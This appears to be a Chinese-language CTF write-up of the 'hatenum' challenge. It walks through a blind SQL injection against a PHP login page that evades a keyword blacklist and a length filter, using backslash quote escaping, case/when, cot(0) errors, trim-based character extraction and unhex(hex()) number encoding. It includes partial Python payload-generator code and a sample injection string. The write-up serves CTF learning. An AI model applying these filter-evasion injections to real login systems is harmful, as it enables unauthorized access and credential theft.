2021-hf-hatenum复现

前言

今天主要跟着YING师父的wp学习一下其中的知识点~

分析源码

在login函数中看到,有三种回显,一种是成功,另外一个是error还有一个是fail,所以我们应该构造一个语句,可以有回显error还有fail,那么就是一个要报错一个要false

	function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}

}
}

这里过滤了一系列字符,包括union,select,这里最糟糕的是他过滤了单引号,因为我们通常是采用单引号来闭合语句的

function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}

还有一个字符数目限制,限制字符长度在9个以内

function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}

引号绕过

由于本题只需要登录即可,所以我们只要获取密码就行了,那么就可以利用源码里面自带的查询语句,这样没有select也没关系,但是引号如何闭合绕过呢?
查询语句是这样的:
那我们只需要在第二个引号的位置加一下反斜杠将它转义,然后将我们要注入的内容放在password字段

"select * from users where username='$username' and password='$password'"

所以就如下:

"select * from users where username='$username\' and password='||`username`='admin'后面再加上你的注入语句#"

布尔盲注语句构造

条件语句的选取:

由于比较符号都被过滤了,如果使用if显然是不够的,这里我们使用case when
初步语句构造为:

case '' when '' then '' else '' end#

后面then和else一个发报错的一个放查询错误的

报错函数选取

报错函数可以用cot(0)或者exp(9999999999999999)都是三角函数

截取函数选择

由于这里将substr等截取函数都过滤了,所以选择trim()函数

trim(leading''from'')rlike(trim(leading''from''))

这个语句我们在mysql中测试一下将会更直观一些:

trim(leading('a')from(`password`)) rlike trim(leading('b')from(`password`))

和条件语句组合后即为:以下语句的意思即为如果两个trim的结果如果一致则为1 那么就不是0 那么就会返回1,如果两个trim的结果不一致,那么就会返回0就会返回cot(0)

case trim(leading 'a' from `password`) rlike trim(leading 'b' from `password`) when 0 then cot(0) else 1 end

可以发现如果截取到密码的字符,那么就会返回错误,否则就会返回表,查询结果即为false
img

长度绕过:

由于我们不能输入引号,所以说字符串都需要转为十六进制进行输入,但是转为十六进制的势必会超过9位数,所以我们可以利用hex和unhex函数缩短长度:
先用十进制表示转为十六进制的字符串,那么此时 我们就可以用运算符以及科学技术法,那么位数将会减少很多了,最后再将结果转为十六进制即可

select admin;
select unhex(hex(4182e8+96719726e0));
img 但是字符取到后面还是会超过9位,此时需要另一种方法来截取,那就是使用函数嵌套,我们的问题在于,到后面过多的取字符以后比如说密码为abc,取了abc,那么他们即使转为十进制+科学计数法+运算符,也还是会超过9位,所以我们需要使用嵌套,一部分一部分的取,如下 img
def recursion_g_code(l:list):
def g_code(prefix, code):
return f"trim(leading({wrap_str(prefix)})from({code}))"
code = "'code'"
for i in l:
code = f'''g_code("{i}", {code})'''
return eval(code)

脚本

我自己肯定写不出来这么厉害的脚本。。。代码编写能力还是太差,所以就仿照一下自己理解的编写一下:
首先是第一段
字符串转数字:
通过每次取余八位,将后面的数字内容先截取出来,然后转变为科学计数法,然后再将剩下的数字以科学计数法表示

import requests as req
import string
from Crypto.Util.number import bytes_to_long#从crypto中导入bytes_to_long函数,这个函数可以将字符串转为长整数
url=""
"字符串转unhex(hex())"
def wrap_str(s:str):
def split_num(num:int):
p=8
m=pow(10,p)
parts=[]
i=0
while num >0:
parts.insert(0,f"{num % m}e{i}")#insert函数是对list进行操作,表示,第一个数字表示操作的位置,第二个表示插入的内容
i+=p
num = num // m
if i >=100:
raise RuntimeError("todo")
return "+".join(parts)
s=s.encode()
return f"unhex(hex({split_num(bytes_to_long(s))}))"
img

第二段 trim的套娃

def recursion_g_code(l:list):
def g_code(prefix, code):
return f"trim(leading({wrap_str(prefix)})from({code}))"
code = "'code'"
for i in l:
code = f'''g_code("{i}", {code})'''
return eval(code)
trim(leading(unhex(hex(5033e8+70115431e0)))from(trim(leading(unhex(hex(30057e0)))from(trim(leading(unhex(hex(12851e0)))from(trim(leading(unhex(hex(26472e0)))from(trim(leading(unhex(hex(30073e0)))from(trim(leading(unhex(hex(26674e0)))from(trim(leading(unhex(hex(26983e0)))from(trim(leading(unhex(hex(29301e0)))from(trim(leading(unhex(hex(26472e0)))from(trim(leading(unhex(hex(25970e0)))from(code))))))))))))))))))))rlike(trim(leading(unhex(hex(5033e8+70115432e0)))from(trim(leading(unhex(hex(30057e0)))from(trim(leading(unhex(hex(12851e0)))from(trim(leading(unhex(hex(26472e0)))from(trim(leading(unhex(hex(30073e0)))from(trim(leading(unhex(hex(26674e0)))from(trim(leading(unhex(hex(26983e0)))from(trim(leading(unhex(hex(29301e0)))from(trim(leading(unhex(hex(26472e0)))from(trim(leading(unhex(hex(25970e0)))from(code)))))))))))))))))))))
img

可以看到分别是对这三个部分进行递归嵌套

知识点小结:

1.引号绕过,两个参数均可控的情况下
2.case when else end
3.trim函数截取
4.字符串转化为大数化短
5.记一点小坑,就是在post请求的时候需要allow_redirects=False,否则的话无法接收到正确的报文,原因是源码中在post请求后会有header(location)进行重定向

Author

vague huang

Posted on

2021-08-02

Updated on

2021-08-03

Licensed under

Comments